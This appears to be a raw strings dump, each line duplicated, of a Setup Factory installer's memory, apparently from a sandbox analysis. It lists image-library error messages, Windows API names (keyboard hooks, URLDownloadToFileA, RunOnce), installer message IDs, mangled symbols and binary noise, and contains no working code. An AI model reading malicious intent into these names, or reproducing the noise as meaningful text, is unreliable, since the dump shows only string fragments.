%s: invalid TIFF directory; tags are not sorted in ascending order

%s: Failed to read directory at offset %u

%s: Failed to read directory at offset %u

Unknown zTXt compression type %d

Unknown zTXt compression type %d

Incomplete compressed datastream in %s chunk

Incomplete compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

gamma = (%d/100000)

gamma = (%d/100000)

gx=%f, gy=%f, bx=%f, by=%f

gx=%f, gy=%f, bx=%f, by=%f

wx=%f, wy=%f, rx=%f, ry=%f

wx=%f, wy=%f, rx=%f, ry=%f

incorrect gamma=(%d/100000)

incorrect gamma=(%d/100000)

deflate 1.2.3 Copyright 1995-2003 Jean-loup Gailly

deflate 1.2.3 Copyright 1995-2003 Jean-loup Gailly

%ld%c

%ld%c

%s compression support is not configured

%s compression support is not configured

inflate 1.2.3 Copyright 1995-2005 Mark Adler

inflate 1.2.3 Copyright 1995-2005 Mark Adler

LogL16Decode: Not enough data at row %d (short %d pixels)

LogL16Decode: Not enough data at row %d (short %d pixels)

LogLuvDecode24: Not enough data at row %d (short %d pixels)

LogLuvDecode24: Not enough data at row %d (short %d pixels)

LogLuvDecode32: Not enough data at row %d (short %d pixels)

LogLuvDecode32: Not enough data at row %d (short %d pixels)

?%s: No space for SGILog translation buffer

?%s: No space for SGILog translation buffer

No support for converting user data format to LogL

No support for converting user data format to LogL

No support for converting user data format to LogLuv

No support for converting user data format to LogLuv

Inappropriate photometric interpretation %d for SGILog compression; %s

Inappropriate photometric interpretation %d for SGILog compression; %s

SGILog compression supported only for %s, or raw data

SGILog compression supported only for %s, or raw data

Unknown data format %d for LogLuv compression

Unknown data format %d for LogLuv compression

Unknown encoding %d for LogLuv compression

Unknown encoding %d for LogLuv compression

%s: No space for LogLuv state block

%s: No space for LogLuv state block

?PixarLog compression can't handle bits depth/data format combination (depth: %d)

?PixarLog compression can't handle bits depth/data format combination (depth: %d)

%d bit input not supported in PixarLog

%d bit input not supported in PixarLog

PixarLogDecode: unsupported bits/sample: %d

PixarLogDecode: unsupported bits/sample: %d

%s: stride %d is not a multiple of sample count, %d, data truncated.

%s: stride %d is not a multiple of sample count, %d, data truncated.

%s: zlib error: %s

%s: zlib error: %s

%s: Not enough data at scanline %d (short %d bytes)

%s: Not enough data at scanline %d (short %d bytes)

%s: Decoding error at scanline %d, %s

%s: Decoding error at scanline %d, %s

PixarLog compression can't handle %d bit linear encodings

PixarLog compression can't handle %d bit linear encodings

A%s: Encoder error: %s

A%s: Encoder error: %s

%s: Bad code word at line %u of %s %u (x %u)

%s: Bad code word at line %u of %s %u (x %u)

%s: Uncompressed data (not supported) at line %u of %s %u (x %u)

%s: Uncompressed data (not supported) at line %u of %s %u (x %u)

%s: %s at line %u of %s %u (got %u, expected %u)

%s: %s at line %u of %s %u (got %u, expected %u)

%s: Premature EOF at line %u of %s %u (x %u)

%s: Premature EOF at line %u of %s %u (x %u)

%s: No space for Group 3/4 reference line

%s: No space for Group 3/4 reference line

@ Fax DCS: %s

@ Fax DCS: %s

Fax SubAddress: %s

Fax SubAddress: %s

(%u = 0x%x)

(%u = 0x%x)

%sEOL padding

%sEOL padding

%s2-d encoding

%s2-d encoding

%suncompressed data

%suncompressed data

%s: No space for state block

%s: No space for state block

JpegRestartInterval: %u

JpegRestartInterval: %u

JpegProc: %u

JpegProc: %u

OJPEG encoding not supported; use new-style JPEG compression instead

OJPEG encoding not supported; use new-style JPEG compression instead

Unknown marker type %d in JPEG data

Unknown marker type %d in JPEG data

Subsampling values [%d,%d] are not allowed in TIFF

Subsampling values [%d,%d] are not allowed in TIFF

Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression

Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression

Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct

Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct

Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct

Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct

SamplesPerPixel %d not supported for this compression scheme

SamplesPerPixel %d not supported for this compression scheme

JPEG strip/tile size exceeds expected dimensions, expected %dx%d, got %dx%d

JPEG strip/tile size exceeds expected dimensions, expected %dx%d, got %dx%d

Decompressor will try reading with sampling %d,%d.

Decompressor will try reading with sampling %d,%d.

Improper JPEG sampling factors %d,%d

Improper JPEG sampling factors %d,%d

Apparently should be %d,%d.

Apparently should be %d,%d.

Improper JPEG strip/tile size, expected %dx%d, got %dx%d

Improper JPEG strip/tile size, expected %dx%d, got %dx%d

RowsPerStrip must be multiple of %d for JPEG

RowsPerStrip must be multiple of %d for JPEG

JPEG tile width must be multiple of %d

JPEG tile width must be multiple of %d

JPEG tile height must be multiple of %d

JPEG tile height must be multiple of %d

BitsPerSample %d not allowed for JPEG

BitsPerSample %d not allowed for JPEG

PhotometricInterpretation %d not allowed for JPEG

PhotometricInterpretation %d not allowed for JPEG

ThunderDecode: %s data at scanline %ld (%lu != %lu)

ThunderDecode: %s data at scanline %ld (%lu != %lu)

LZWDecode: Bogus encoding, loop in the code table; scanline %d

LZWDecode: Bogus encoding, loop in the code table; scanline %d

LZWDecode: Not enough data at scanline %d (short %ld bytes)

LZWDecode: Not enough data at scanline %d (short %ld bytes)

LZWDecode: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecode: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecode: Corrupted LZW table at scanline %d

LZWDecode: Corrupted LZW table at scanline %d

LZWDecode: Strip %d not terminated with EOI code

LZWDecode: Strip %d not terminated with EOI code

LZWDecodeCompat: Corrupted LZW table at scanline %d

LZWDecodeCompat: Corrupted LZW table at scanline %d

LZWDecodeCompat: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecodeCompat: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecodeCompat: Not enough data at scanline %d (short %ld bytes)

LZWDecodeCompat: Not enough data at scanline %d (short %ld bytes)

DumpModeDecode: Not enough data for scanline %d

DumpModeDecode: Not enough data for scanline %d

Horizontal differencing "Predictor" not supported with %d-bit samples

Horizontal differencing "Predictor" not supported with %d-bit samples

Floating point "Predictor" not supported with %d data format

Floating point "Predictor" not supported with %d data format

"Predictor" value %d not supported

"Predictor" value %d not supported

Out of memory allocating %d byte temp buffer.

Out of memory allocating %d byte temp buffer.

%u (0x%x)

%u (0x%x)

WindowsForms

WindowsForms

NTDLL.DLL

NTDLL.DLL

COMCTL32.DLL

COMCTL32.DLL

USER32.DLL

USER32.DLL

MSCTF.DLL

MSCTF.DLL

GDI32.DLL

GDI32.DLL

SHLWAPI.DLL

SHLWAPI.DLL

UXTHEME.DLL

UXTHEME.DLL

API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL

API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL

LEFTPRESSED

LEFTPRESSED

ALWAYSSHOWSIZINGBAR

ALWAYSSHOWSIZINGBAR

MSGBOXFONT

MSGBOXFONT

%[^,], %ld, %s

%[^,], %ld, %s

User32.dll

User32.dll

msimg32.dll

msimg32.dll

windows-1254

windows-1254

windows-874

windows-874

SUBLANG_PORTUGUESE_BRAZILIAN

SUBLANG_PORTUGUESE_BRAZILIAN

Portuguese (Brazil)

Portuguese (Brazil)

SUBLANG_PORTUGUESE

SUBLANG_PORTUGUESE

LANG_PORTUGUESE

LANG_PORTUGUESE

Portuguese (Portugal)

Portuguese (Portugal)

windows-1255

windows-1255

windows-1257

windows-1257

windows-1253

windows-1253

windows-1252

windows-1252

windows-1250

windows-1250

windows-1256

windows-1256

windows-1251

windows-1251

1.2.40

1.2.40

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

WININET.dll

WININET.dll

?#%X.y

?#%X.y

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@@

[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected][email protected]@@@@@[email protected]@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected][email protected]@@@@@[email protected]@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@@@@@[email protected]@

[email protected][email protected][email protected][email protected]@@@@@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected]@@

[email protected]@@[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

zcÁ

zcÁ

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

GetWindowsDirectoryA

GetWindowsDirectoryA

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegEnumKeyA

RegEnumKeyA

RegEnumKeyExA

RegEnumKeyExA

RegQueryInfoKeyA

RegQueryInfoKeyA

RegDeleteKeyA

RegDeleteKeyA

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GetViewportOrgEx

GetViewportExtEx

GetViewportExtEx

GdiplusShutdown

GdiplusShutdown

ShellExecuteExA

ShellExecuteExA

ShellExecuteA

ShellExecuteA

UrlUnescapeA

UrlUnescapeA

URLDownloadToFileA

URLDownloadToFileA

MapVirtualKeyExA

MapVirtualKeyExA

GetKeyboardState

GetKeyboardState

GetKeyboardLayout

GetKeyboardLayout

MapVirtualKeyA

MapVirtualKeyA

GetKeyNameTextA

GetKeyNameTextA

SetWindowsHookExA

SetWindowsHookExA

UnhookWindowsHookEx

UnhookWindowsHookEx

CreateDialogIndirectParamA

CreateDialogIndirectParamA

GetKeyState

GetKeyState

ExitWindowsEx

ExitWindowsEx

EnumWindows

EnumWindows

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

GetAsyncKeyState

GetAsyncKeyState

|5#" " "

|5#" " "

# # #""%"$

# # #""%"$

^)1-"*"<.>

^)1-"*"<.>

2;%SK

2;%SK

%.Fh3>$]R

%.Fh3>$]R

]

]

WEBI

WEBI

]>2?>2/"

]>2?>2/"

H%FZW

H%FZW

|@@@@8>-

|@@@@8>-

\ ,%X

\ ,%X

[9

[9

!3-%#;3&1

!3-%#;3&1

##0#3131%&

##0#3131%&

.QICN,1#-#5##Jl;>C3I=I6lIC6&-4-350T-3]

.QICN,1#-#5##Jl;>C3I=I6lIC6&-4-350T-3]

$&%f#F>#

$&%f#F>#

:[email protected]*00

:[email protected]*00

$,0($,$4

$,0($,$4

(,,4,4,$

(,,4,4,$

0488

0488

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

%xERRj3cqZQ

%xERRj3cqZQ

! !!####0

! !!####0

;;;9551%%0

;;;9551%%0

! [email protected]

! [email protected]

version="9.5.0.0"

version="9.5.0.0"

name="setup.exe"/>

name="setup.exe"/>

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

COMDLG32.dll

COMDLG32.dll

GDI32.dll

GDI32.dll

gdiplus.dll

gdiplus.dll

imagehlp.dll

imagehlp.dll

IMM32.dll

IMM32.dll

MSIMG32.dll

MSIMG32.dll

NETAPI32.dll

NETAPI32.dll

OLEACC.dll

OLEACC.dll

OLEAUT32.dll

OLEAUT32.dll

oledlg.dll

oledlg.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

urlmon.dll

urlmon.dll

USER32.dll

USER32.dll

VERSION.dll

VERSION.dll

WINMM.dll

WINMM.dll

WINSPOOL.DRV

WINSPOOL.DRV

accKeyboardShortcut

accKeyboardShortcut

hhctrl.ocx

hhctrl.ocx

dwmapi.dll

dwmapi.dll

xUxTheme.dll

xUxTheme.dll

yDWrite.dll

yDWrite.dll

D2D1.dll

D2D1.dll

SHELL32.DLL

SHELL32.DLL

RICHED20.DLL

RICHED20.DLL

mscoree.dll

mscoree.dll

ekernel32.dll

ekernel32.dll

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

aero.msstyles

aero.msstyles

winxp.royale.cjstyles

winxp.royale.cjstyles

royale.msstyles

royale.msstyles

winxp.luna.cjstyles

winxp.luna.cjstyles

luna.msstyles

luna.msstyles

Argument %d must be of type %s.

Argument %d must be of type %s.

%d arguments required.

%d arguments required.

All Files (*.*)

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

#Unable to load mail system support.

Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents. If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents

Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents. If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents

%s [Recovered]

%s [Recovered]

9.5.0.0

9.5.0.0

2015 Indigo Rose Corporation (VVV.indigorose.com)

2015 Indigo Rose Corporation (VVV.indigorose.com)

suf_rt.exe

suf_rt.exe

irsetup.exe_3576_rwx_00A01000_003DD000:

t%SSSS

t%SSSS

SSSSh

SSSSh

t%SWV

t%SWV

u)SSh

u)SSh

u)SShd

u)SShd

TSShX

TSShX

@ SSh

@ SSh

u%SSSV

u%SSSV

SSShT

SSShT

SSSh`

SSSh`

9^$u&SSSSh?

9^$u&SSSSh?

9^$u SSSSh?

9^$u SSSSh?

9^$u)SSSSh?

9^$u)SSSSh?

|SShF

|SShF

t2SSh

t2SSh

Ht.Ht S

Ht.Ht S

FLSSh

FLSSh

GLSSh

GLSSh

GXSSh

GXSSh

FpSSh

FpSSh

FtSSh

FtSSh

G`SSh

G`SSh

.WWWW

.WWWW

Nt.Nt

Nt.Nt

t'SShl

t'SShl

u$SShe

u$SShe

@ SSHPWj

@ SSHPWj

tFHt:Ht.Ht"Hu`

tFHt:Ht.Ht"Hu`

tWSShW

tWSShW

tl9_ tgSSh

tl9_ tgSSh

tAHt.HHt

tAHt.HHt

j%XtL9E

j%XtL9E

FtPW

FtPW

[email protected]

[email protected]

FTCP

FTCP

u.Ph,

u.Ph,

.FG;}

.FG;}

FTPQ

FTPQ

FTPh

FTPh

V SShW

V SShW

O SSh

O SSh

O SSh,

O SSh,

diu2.iu

diu2.iu

kernel32.dll

kernel32.dll

%s (%s:%d)

%s (%s:%d)

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin1.inl

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin1.inl

MSG_ERROR

MSG_ERROR

%s %d. %s

%s %d. %s

MSG_ASK_FOR_DISK

MSG_ASK_FOR_DISK

MSG_NEW_LOCATION

MSG_NEW_LOCATION

MSG_CONFIRM_ABORT

MSG_CONFIRM_ABORT

MSG_CONFIRM

MSG_CONFIRM

A%s%s%s.%d

A%s%s%s.%d

%s.%d

%s.%d

%s, Line %d: %s

%s, Line %d: %s

File condition evaluation for file "%s"

File condition evaluation for file "%s"

msi.dll

msi.dll

\msi.dll

\msi.dll

Software\Microsoft\Windows\CurrentVersion\Installer

Software\Microsoft\Windows\CurrentVersion\Installer

C:\temp\SUF_SFX_TEST\

C:\temp\SUF_SFX_TEST\

MSG_INITIALIZING

MSG_INITIALIZING

16670749

16670749

_IgnoreInvalidCertificate

_IgnoreInvalidCertificate

SetEntriesInAcl Error %u

SetEntriesInAcl Error %u

SetNamedSecurityInfo Error %u

SetNamedSecurityInfo Error %u

*.gif

*.gif

*.tif

*.tif

*.tga

*.tga

*.png

*.png

*.pcx

*.pcx

*.jpg

*.jpg

*.bmp

*.bmp

[%d]: %s

[%d]: %s

*** LOCATION: %s

*** LOCATION: %s

__NOREPORT__

__NOREPORT__

in function

in function

in function '%s'

in function '%s'

Line: %d

Line: %d

%d: [%s]

%d: [%s]

Script: %s, %s (%s)

Script: %s, %s (%s)

__ir_eval_value = %s;

__ir_eval_value = %s;

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin2.inl

c:\Program Files\Microsoft Visual Studio 10.0\VC\atlmfc\include\afxwin2.inl

%Copyright%. All rights reserved. %CompanyURL%

%Copyright%. All rights reserved. %CompanyURL%

WindowStyle

WindowStyle

MainWindowSettings

MainWindowSettings

%s at offset %d unterminated

%s at offset %d unterminated

Incorrect %s at offset %d

Incorrect %s at offset %d

Element '%s' at offset %d not ended

Element '%s' at offset %d not ended

End tag '%s' at offset %d does not match start tag '%s' at offset %d

End tag '%s' at offset %d does not match start tag '%s' at offset %d

No start tag for end tag '%s' at offset %d

No start tag for end tag '%s' at offset %d

%s%d bytes

%s%d bytes

%s%d wide chars to %d bytes

%s%d wide chars to %d bytes

%d bytes to %s%d wide chars

%d bytes to %s%d wide chars

MSG_SEARCH_FILE

MSG_SEARCH_FILE

(*.*)|*.*||

(*.*)|*.*||

MSG_SEARCH_ALL

MSG_SEARCH_ALL

MSG_SEARCH_MASK

MSG_SEARCH_MASK

MSG_INSERTDISK

MSG_INSERTDISK

MSG_CANCEL

MSG_CANCEL

MSG_OK

MSG_OK

MSG_BROWSE

MSG_BROWSE

MSG_PATH

MSG_PATH

Windows Server 10

Windows Server 10

Windows 10

Windows 10

Windows Server 2012 R2

Windows Server 2012 R2

Windows 8.1

Windows 8.1

Windows Server 2012

Windows Server 2012

Windows 8

Windows 8

Windows Server 2008 R2

Windows Server 2008 R2

Windows 7

Windows 7

Windows Server 2008

Windows Server 2008

Windows Vista

Windows Vista

Windows Server 2003

Windows Server 2003

Windows XP

Windows XP

CPasswordData

CPasswordData

-- Defined in _SUF70_Global_Functions.lua

-- Defined in _SUF70_Global_Functions.lua

number e_ErrorCode, string e_ErrorMsgID

number e_ErrorCode, string e_ErrorMsgID

%TempFolder%\%ProductName% Setup Log.txt

%TempFolder%\%ProductName% Setup Log.txt

%StartupFolder%

%StartupFolder%

%StartFolder%

%StartFolder%

%StartProgramsFolder%

%StartProgramsFolder%

ÞsktopFolder%

ÞsktopFolder%

%s\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%s\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

%CommonFilesFolder%\Microsoft Shared\DAO

%CommonFilesFolder%\Microsoft Shared\DAO

Software\Microsoft\Shared Tools\DAO350.dll

Software\Microsoft\Shared Tools\DAO350.dll

Software\Microsoft\Shared Tools\DAO360.dll

Software\Microsoft\Shared Tools\DAO360.dll

ÚOPath%

ÚOPath%

Software\Microsoft\Windows NT\CurrentVersion

Software\Microsoft\Windows NT\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

%SourceFolder%

%SourceFolder%

%SystemDrive%

%SystemDrive%

_WindowsFolder

_WindowsFolder

%WindowsFolder%

%WindowsFolder%

%SystemFolder%

%SystemFolder%

%CommonFilesFolder%

%CommonFilesFolder%

%CommonFilesFolder64%

%CommonFilesFolder64%

%CommonProgramW6432%

%CommonProgramW6432%

%CommonDocumentsFolder%

%CommonDocumentsFolder%

%StartupFolderCommon%

%StartupFolderCommon%

%StartProgramsFolderCommon%

%StartProgramsFolderCommon%

%StartFolderCommon%

%StartFolderCommon%

%FontsFolder%

%FontsFolder%

ÞsktopFolderCommon%

ÞsktopFolderCommon%

;?;?.lua

;?;?.lua

UninstallSupportFiles

UninstallSupportFiles

CPRegKey

CPRegKey

Run extra uninstall script: %d

Run extra uninstall script: %d

Original: %d

Original: %d

Calculated: %d

Calculated: %d

Unable to open archive file: %d

Unable to open archive file: %d

lua5.1.dll

lua5.1.dll

%SourceDrive%

%SourceDrive%

%SourceFilename%

%SourceFilename%

\irsetup.dat

\irsetup.dat

{D387204B-8FB9-6A21-15FA-0CD14BF40EA9}

{D387204B-8FB9-6A21-15FA-0CD14BF40EA9}

Support file added to uninstall list:

Support file added to uninstall list:

Registry key added to uninstall list:

Registry key added to uninstall list:

Removed! %d

Removed! %d

IDispatch error #%d

IDispatch error #%d

Error 0xx: %s

Error 0xx: %s

Register font: %s, %s

Register font: %s, %s

%sbk%d

%sbk%d

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

Remove uninstall support file:

Remove uninstall support file:

MSG_NO

MSG_NO

MSG_YES_TOALL

MSG_YES_TOALL

MSG_YES

MSG_YES

MSG_UNINSTALL_OK_REMOVE

MSG_UNINSTALL_OK_REMOVE

MSG_UNINSTALL_NO_APP_USE

MSG_UNINSTALL_NO_APP_USE

MSG_UNINSTALL_REMOVE_SHARED

MSG_UNINSTALL_REMOVE_SHARED

Decrement shared file count: %s (New count = %d)

Decrement shared file count: %s (New count = %d)

SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs

: %s (#%d)

: %s (#%d)

Global include script: %s

Global include script: %s

RegisterTypeLib: %s

RegisterTypeLib: %s

RegisterTypeLib failure reason: %s

RegisterTypeLib failure reason: %s

RegisterTypeLib: %s - %s

RegisterTypeLib: %s - %s

Register COM file: %s

Register COM file: %s

Register COM failure reason: %s

Register COM failure reason: %s

Register COM file: %s - System Error # %u

Register COM file: %s - System Error # %u

Register COM file on reboot: %s

Register COM file on reboot: %s

regsvr32.exe /s %s

regsvr32.exe /s %s

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Increment usage count: %s

Increment usage count: %s

Increment usage count: %s (New count = %d)

Increment usage count: %s (New count = %d)

%s\%s

%s\%s

%s (%d)

%s (%d)

\irsetup.skin

\irsetup.skin

local e_Stage = %d;local e_CurrentItemText=[==[%s]==];local e_CurrentItemPct=%d;local e_StagePct=%d;

local e_Stage = %d;local e_CurrentItemText=[==[%s]==];local e_CurrentItemPct=%d;local e_StagePct=%d;

MSG_SYSREQ_WARN

MSG_SYSREQ_WARN

MSG_NOTICE

MSG_NOTICE

MSG_SYSREQ_ABORT

MSG_SYSREQ_ABORT

%s: %s

%s: %s

MSG_SYSREQ_USERPERMISSION

MSG_SYSREQ_USERPERMISSION

MSG_SYSREQ_SYSTEMADMIN

MSG_SYSREQ_SYSTEMADMIN

MSG_SYSREQ_COLORDEPTH

MSG_SYSREQ_COLORDEPTH

MSG_BITSPERPIXEL

MSG_BITSPERPIXEL

MSG_SYSREQ_SCREENHEIGHT

MSG_SYSREQ_SCREENHEIGHT

%s: %d

%s: %d

MSG_SYSREQ_SCREENWIDTH

MSG_SYSREQ_SCREENWIDTH

%s: %d %s

%s: %d %s

MSG_SYSREQ_RAM

MSG_SYSREQ_RAM

MSG_SIZE_MEGABYTES

MSG_SIZE_MEGABYTES

Operating System

Operating System

MSG_SYSREQ_OS

MSG_SYSREQ_OS

MSG_OS_PART_ORNEWER

MSG_OS_PART_ORNEWER

MSG_OS_PART_NOSERVPACK

MSG_OS_PART_NOSERVPACK

MSG_OS_PART_SERVPACK

MSG_OS_PART_SERVPACK

MSG_OS_PART_SE

MSG_OS_PART_SE

MSG_OS_PART_C

MSG_OS_PART_C

MSG_OS_PART_B

MSG_OS_PART_B

MSG_OS_PART_A

MSG_OS_PART_A

MSG_OS_ALL

MSG_OS_ALL

MSG_OS_NONE

MSG_OS_NONE

MSG_OS_WSRV10

MSG_OS_WSRV10

MSG_OS_W10

MSG_OS_W10

MSG_OS_WSRV2012_R2

MSG_OS_WSRV2012_R2

MSG_OS_W8_1

MSG_OS_W8_1

MSG_OS_WSRV2012

MSG_OS_WSRV2012

MSG_OS_W8

MSG_OS_W8

MSG_OS_WSRV2008_R2

MSG_OS_WSRV2008_R2

MSG_OS_W7

MSG_OS_W7

MSG_OS_WSRV2008

MSG_OS_WSRV2008

MSG_OS_WVISTA

MSG_OS_WVISTA

MSG_OS_WSRV2003

MSG_OS_WSRV2003

MSG_OS_WXP

MSG_OS_WXP

MSG_OS_UNKNOWN

MSG_OS_UNKNOWN

MSG_SYSREQ_NOTMET

MSG_SYSREQ_NOTMET

%s %d %s

%s %d %s

MSG_EXP_USESLEFT

MSG_EXP_USESLEFT

MSG_EXP_USESLEFT2

MSG_EXP_USESLEFT2

%s %I64d %s

%s %I64d %s

MSG_EXP_DAYSLEFT

MSG_EXP_DAYSLEFT

MSG_EXP_DAYSLEFT2

MSG_EXP_DAYSLEFT2

Software\Microsoft\Windows\CurrentVersion\I652R9823\

Software\Microsoft\Windows\CurrentVersion\I652R9823\

MSG_EXP_CONTACT_START

MSG_EXP_CONTACT_START

Run project event: %s

Run project event: %s

local e_ErrorCode=%d; local e_ErrorMsgID = "%s"

local e_ErrorCode=%d; local e_ErrorMsgID = "%s"

Start project event: %s

Start project event: %s

MSG_UNINSTALLFILE_NOREMOVE

MSG_UNINSTALLFILE_NOREMOVE

MSG_UNINSTALLFILE_INUSE

MSG_UNINSTALLFILE_INUSE

%s (%s: %u)

%s (%s: %u)

\WININIT.INI

\WININIT.INI

MSG_FILE_EXISTS_INUSE

MSG_FILE_EXISTS_INUSE

MSG_FILE_EXISTS_RETRY

MSG_FILE_EXISTS_RETRY

MSG_FILE_EXISTS_ANY

MSG_FILE_EXISTS_ANY

MSG_FILE_EXISTS_NEWER

MSG_FILE_EXISTS_NEWER

MSG_FILE_OVERWRITE_CONFIRM

MSG_FILE_OVERWRITE_CONFIRM

